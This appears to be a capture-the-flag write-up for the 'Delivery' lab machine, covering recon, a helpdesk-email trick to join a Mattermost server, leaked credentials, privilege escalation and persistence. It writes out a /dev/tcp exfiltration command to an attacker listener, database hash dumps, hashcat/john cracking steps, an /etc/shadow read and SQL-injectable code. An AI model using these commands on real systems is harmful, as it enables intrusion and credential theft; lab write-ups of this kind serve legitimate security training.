Recon
- Port scan:
$ nmap -p- 10.10.10.222 > ports.nmap
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8065/tcp open unknown
- Targeted scan:
$ nmap -sC -sV -p 22,80,8065 10.10.10.222 > targeted.nmap
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 9c:40:fa:85:9b:01:ac:ac:0e:bc:0c:19:51:8a:ee:27 (RSA) | 256 5a:0c:c0:3b:9b:76:55:2e:6e:c4:f4:b9:5d:76:17:09 (ECDSA) |_ 256 b7:9d:f7:48:9d:a2:f2:76:30:fd:42:d3:35:3a:80:8c (ED25519) 80/tcp open http nginx 1.14.2 |_http-server-header: nginx/1.14.2 |_http-title: Welcome 8065/tcp open unknown | fingerprint-strings: | GenericLines, Help, RTSPRequest, SSLSessionReq, TerminalServerCookie: | HTTP/1.1 400 Bad Request | Content-Type: text/plain; charset=utf-8 | Connection: close | Request | GetRequest: | HTTP/1.0 200 OK | Accept-Ranges: bytes | Cache-Control: no-cache, max-age=31556926, public | Content-Length: 3108 | Content-Security-Policy: frame-ancestors 'self'; script-src 'self' cdn.rudderlabs.com | Content-Type: text/html; charset=utf-8 | Last-Modified: Mon, 11 Jan 2021 05:17:11 GMT | X-Frame-Options: SAMEORIGIN | X-Request-Id: kmjssp164prqpqmskbtjbjqpoe | X-Version-Id: 5.30.0.5.30.1.57fb31b889bf81d99d8af8176d4bbaaa.false | Date: Mon, 11 Jan 2021 05:20:34 GMT | <!doctype html><html lang="en"><head><meta charset="utf-8"><meta name="viewport" content="width=device-width,initial-scale=1,maximum-scale=1,user-scalable=0"><meta name="robots" content="noindex, nofollow"><meta name="referrer" content="no-referrer"><title>Mattermost</title><meta name="mobile-web-app-capable" content="yes"><meta name="application-name" content="Mattermost"><meta name="format-detection" content="telephone=no"><link re | HTTPOptions: | HTTP/1.0 405 Method Not Allowed | Date: Mon, 11 Jan 2021 05:20:34 GMT |_ Content-Length: 0 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port8065-TCP:V=7.91%I=7%D=1/11%Time=5FFBE005%P=x86_64-unknown-linux-gnu SF:%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type: SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20 SF:Bad\x20Request")%r(GetRequest,DF3,"HTTP/1\.0\x20200\x20OK\r\nAccept-Ran SF:ges:\x20bytes\r\nCache-Control:\x20no-cache,\x20max-age=31556926,\x20pu SF:blic\r\nContent-Length:\x203108\r\nContent-Security-Policy:\x20frame-an SF:cestors\x20'self';\x20script-src\x20'self'\x20cdn\.rudderlabs\.com\r\nC SF:ontent-Type:\x20text/html;\x20charset=utf-8\r\nLast-Modified:\x20Mon,\x SF:2011\x20Jan\x202021\x2005:17:11\x20GMT\r\nX-Frame-Options:\x20SAMEORIGI SF:N\r\nX-Request-Id:\x20kmjssp164prqpqmskbtjbjqpoe\r\nX-Version-Id:\x205\ SF:.30\.0\.5\.30\.1\.57fb31b889bf81d99d8af8176d4bbaaa\.false\r\nDate:\x20M SF:on,\x2011\x20Jan\x202021\x2005:20:34\x20GMT\r\n\r\n<!doctype\x20html><h SF:tml\x20lang=\"en\"><head><meta\x20charset=\"utf-8\"><meta\x20name=\"vie SF:wport\"\x20content=\"width=device-width,initial-scale=1,maximum-scale=1 SF:,user-scalable=0\"><meta\x20name=\"robots\"\x20content=\"noindex,\x20no SF:follow\"><meta\x20name=\"referrer\"\x20content=\"no-referrer\"><title>M SF:attermost</title><meta\x20name=\"mobile-web-app-capable\"\x20content=\" SF:yes\"><meta\x20name=\"application-name\"\x20content=\"Mattermost\"><met SF:a\x20name=\"format-detection\"\x20content=\"telephone=no\"><link\x20re" SF:)%r(HTTPOptions,5B,"HTTP/1\.0\x20405\x20Method\x20Not\x20Allowed\r\nDat SF:e:\x20Mon,\x2011\x20Jan\x202021\x2005:20:34\x20GMT\r\nContent-Length:\x SF:200\r\n\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nC SF:ontent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\ SF:n\r\n400\x20Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Requ SF:est\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20 SF:close\r\n\r\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x204 SF:00\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r SF:\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerC SF:ookie,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/p SF:lain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Req SF:uest"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
SSH, nginx HTTP, Mattermost HTTP.
Enumeration
- Found domain names under "Contact Us" hyperlinks:
For unregistered users, please use our HelpDesk to get in touch with our team. Once you have an @delivery.htb email address, you'll be able to have access to our MatterMost server.
- Add the following domains to
/etc/hosts
:10.10.10.222 delivery.htb helpdesk.delivery.htb
- Navigating to the helpdesk site, we see that the system is running an unknown version of osTicket.
- Target is also hosting a MatterMost server on port 8065, a Slack-alternative messaging application.
- MatterMost server requires a valid
@delivery.htb
email address for access. - Found helpdesk login page:
- Found MatterMost login page:
Exploitation
- Opening a test ticket, the site responds with:
samiko, You may check the status of your ticket, by navigating to the Check Status page using ticket id: 4944782. If you want to add more information to your ticket, just email [email protected]. Thanks, Support Team
- On the ticket status page, we can see any updates to the ticket in a message board style display.
- As the MatterMost server requires a valid
@delivery.htb
email address, we can leverage the ticket address[email protected]
and register for an account. - Creating a new account on MatterMost using the ticket address with temporary credentials:
samiko:Password1234!
- We receive a verification email to the ticket address, which is then displayed on the ticket's status page.
- After refreshing the ticket status page, we get the verification URL:
- Login to MatterMost with temporary credentials, we see that we are able to join the "Internals" team without any extra authentication.
- Messages from
[email protected]
on Dec 27:@developers Please update theme to the OSTicket before we go live. Credentials to the server are maildeliverer:Youve_G0t_Mail! Also please create a program to help us stop re-using the same passwords everywhere.... Especially those that are a variant of "PleaseSubscribe!" PleaseSubscribe! may not be in RockYou but if any hacker manages to get our hashes, they can use hashcat rules to easily crack all variations of common words or phrases.
- Found exposed credentials:
maildeliverer:Youve_G0t_Mail!
- SSH into server with developer credentials:
$ ssh [email protected]
Youve_G0t_Mail!
$ whoami && id
maildeliverer uid=1000(maildeliverer) gid=1000(maildeliverer) groups=1000(maildeliverer)
- Get user flag!
Privilege Escalation
- maildeliverer is the only user on the system.
- Checking sudo permissions:
$ sudo -l
Sorry, user maildeliverer may not run sudo on Delivery.
- Finding config files:
$ find . -name "config.*" 2>/dev/null
./opt/mattermost/config/config.json
- We find the config file for MatterMost server, which will likely contain passwords that can be useful, given the developers' mentioned habits of password reuse.
- Prepare to transfer
config.json
back to local, listen for file transfer on nc:$ nc -lvnp 6969 > config.json < /dev/null
- Now on the remote host, send the file through
/dev/tcp/host/port
:$ cat config.json > /dev/tcp/10.10.14.103/6969
- We discover that there is a MySQL server running locally on port 3306.
- Found SQL credentials in
config.json
:mmuser:Crack_The_MM_Admin_PW
- With this credential pair, we can login to MatterMost's MySQL and hopefully find the root password:
$ mysql -u 'mmuser' -p 'Crack_The_MM_Admin_PW'
ERROR 1045 (28000): Access denied for user 'mmuser'@'localhost' (using password: NO)
- Looks like MySQL did not like the spaces and failed to parse the credentials, let's retry without them:
$ mysql -u'mmuser' -p'Crack_The_MM_Admin_PW'
Welcome to the MariaDB monitor. Commands end with ; or \g. Your MariaDB connection id is 1169 Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10 Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MariaDB [(none)]>
- Server is running a MariaDB, let's try to enumerate the databases:
> show databases;
+--------------------+ | Database | +--------------------+ | information_schema | | mattermost | +--------------------+ 2 rows in set (0.001 sec)
- Select the MatterMost database:
> use mattermost;
Database changed
- List all tables within the MatterMot database:
> show tables;
+------------------------+ | Tables_in_mattermost | +------------------------+ | ... | | Tokens | | UserAccessTokens | | UserGroups | | Users | +------------------------+ 46 rows in set (0.001 sec)
- The table of interest is "Users", as password hashes are stored there:
> select * from Users;
+----------------------------+---------------+---------------+----------+----------------------------------+--------------------------------------------------------------+----------+-------------+-------------------------+---------------+----------+--------------------+----------+----------+--------------------------+----------------+-------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------+-------------------+----------------+--------+----------------------------------------------------------------------------------------------+-----------+-----------+ | Id | CreateAt | UpdateAt | DeleteAt | Username | Password | AuthData | AuthService | Email | EmailVerified | Nickname | FirstName | LastName | Position | Roles | AllowMarketing | Props | NotifyProps | LastPasswordUpdate | LastPictureUpdate | FailedAttempts | Locale | Timezone | MfaActive | MfaSecret | +----------------------------+---------------+---------------+----------+----------------------------------+--------------------------------------------------------------+----------+-------------+-------------------------+---------------+----------+--------------------+----------+----------+--------------------------+----------------+-------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------+-------------------+----------------+--------+----------------------------------------------------------------------------------------------+-----------+-----------+ | 6akd5cxuhfgrbny81nj55au4za | 1609844799823 | 1609844799823 | 0 | c3ecacacc7b94f909d04dbfd308a9b93 | $2a$10$u5815SIBe2Fq1FZlv9S8I.VjU3zeSPBrIEg9wvpiLaS7ImuiItEiK | NULL | | [email protected] | 0 | | | | | system_user | 0 | {} | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} | 1609844799823 | 0 | 0 | en | {"automaticTimezone":"","manualTimezone":"","useAutomaticTimezone":"true"} | 0 | | | 6wkx1ggn63r7f8q1hpzp7t4iiy | 1609844806814 | 1609844806814 | 0 | 5b785171bfb34762a933e127630c4860 | $2a$10$3m0quqyvCE8Z/R1gFcCOWO6tEj6FtqtBn8fRAXQXmaKmg.HDGpS/G | NULL | | [email protected] | 0 | | | | | system_user | 0 | {} | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} | 1609844806814 | 0 | 0 | en | {"automaticTimezone":"","manualTimezone":"","useAutomaticTimezone":"true"} | 0 | | | dijg7mcf4tf3xrgxi5ntqdefma | 1608992692294 | 1609157893370 | 0 | root | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO | NULL | | [email protected] | 1 | | | | | system_admin system_user | 1 | {} | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} | 1609157893370 | 0 | 0 | en | {"automaticTimezone":"Africa/Abidjan","manualTimezone":"","useAutomaticTimezone":"true"} | 0 | | | hatotzdacb8mbe95hm4ei8i7ny | 1609844805777 | 1609844805777 | 0 | ff0a21fc6fc2488195e16ea854c963ee | $2a$10$RnJsISTLc9W3iUcUggl1KOG9vqADED24CQcQ8zvUm1Ir9pxS.Pduq | NULL | | [email protected] | 0 | | | | | system_user | 0 | {} | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} | 1609844805777 | 0 | 0 | en | {"automaticTimezone":"","manualTimezone":"","useAutomaticTimezone":"true"} | 0 | | | jyb6rhmzyjbt9bjm5ioyddrcph | 1611061688514 | 1611061999208 | 0 | samiko | $2a$10$/COTMMxieAd/HLdic8eb4uW4YGdJ7wHqn0ZJMtiM4ogCo8Mv62giO | NULL | | [email protected] | 1 | | | | | system_user | 1 | {} | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} | 1611061688514 | 0 | 0 | en | {"automaticTimezone":"Australia/Adelaide","manualTimezone":"","useAutomaticTimezone":"true"} | 0 | | | n9magehhzincig4mm97xyft9sc | 1609844789048 | 1609844800818 | 0 | 9ecfb4be145d47fda0724f697f35ffaf | $2a$10$s.cLPSjAVgawGOJwB7vrqenPg2lrDtOECRtjwWahOzHfq1CoFyFqm | NULL | | [email protected] | 1 | | | | | system_user | 0 | {} | {"channel":"true","comments":"never","desktop":"mention","desktop_sound":"true","email":"true","first_name":"false","mention_keys":"","push":"mention","push_status":"away"} | 1609844789048 | 0 | 0 | en | {"automaticTimezone":"","manualTimezone":"","useAutomaticTimezone":"true"} | 0 | | +----------------------------+---------------+---------------+----------+----------------------------------+--------------------------------------------------------------+----------+-------------+-------------------------+---------------+----------+--------------------+----------+----------+--------------------------+----------------+-------+------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+--------------------+-------------------+----------------+--------+----------------------------------------------------------------------------------------------+-----------+-----------+
- Let's refine our search:
> select Password from Users where Username = 'root';
+--------------------------------------------------------------+ | Password | +--------------------------------------------------------------+ | $2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO | +--------------------------------------------------------------+ 1 row in set (0.001 sec)
- Found root hash:
$2a$10$VM6EeymRxJ29r8Wjkr8Dtev0O.1STWb4.4ScG.anuu7v0EFJwgjjO
- Cracking the hash with hashcat and john:
$ echo 'PleaseSubscribe!' | hashcat -r ../Common/OneRuleToRuleThemAll.rule --stdout > hash.out
$ john -w=hash.out hash
- Get root credentials:
root:PleaseSubscribe!21
- Elevate privileges:
$ su
PleaseSubscribe!21
- Get root flag!
Post-exploitation
- Found a cool note on the root directory from the box maker, ippsec himself:
I hope you enjoyed this box, the attack may seem silly but it demonstrates a pretty high risk vulnerability I've seen several times. The inspiration for the box is here: - https://medium.com/intigriti/how-i-hacked-hundreds-of-companies-through-their-helpdesk-b7680ddc2d4c Keep on hacking! And please don't forget to subscribe to all the security streamers out there. - ippsec
- We find the
@delivery.htb
regex check in/root/py-smtp.py
:if re.search(r'^[0-9]*@delivery.htb$', rcpttos): ticket = rcpttos.split('@')[0] db = pymysql.connect("localhost","ost_user","!H3lpD3sk123!", "osticket" ) cursor = db.cursor() cursor.execute(f"SELECT ticket_id from ost_ticket where number = '{ticket}'") result = cursor.fetchone()[0] if result: cursor.execute(f"UPDATE ost_thread_entry SET body = '{data}' WHERE thread_id = '{result}'") db.commit() db.close()
Persistence
- Get the root user hash from
/etc/shadow
:root:$6$Zgefgue1ExBT80dl$uTb2.giC3XGWRl55oIq94jD50ylT5ZfE9eghl.YP92co.M.gJB5jPGNlbgGQSczIibtyn.jZtOyIseVvXrM2V0:18624:0:99999:7:::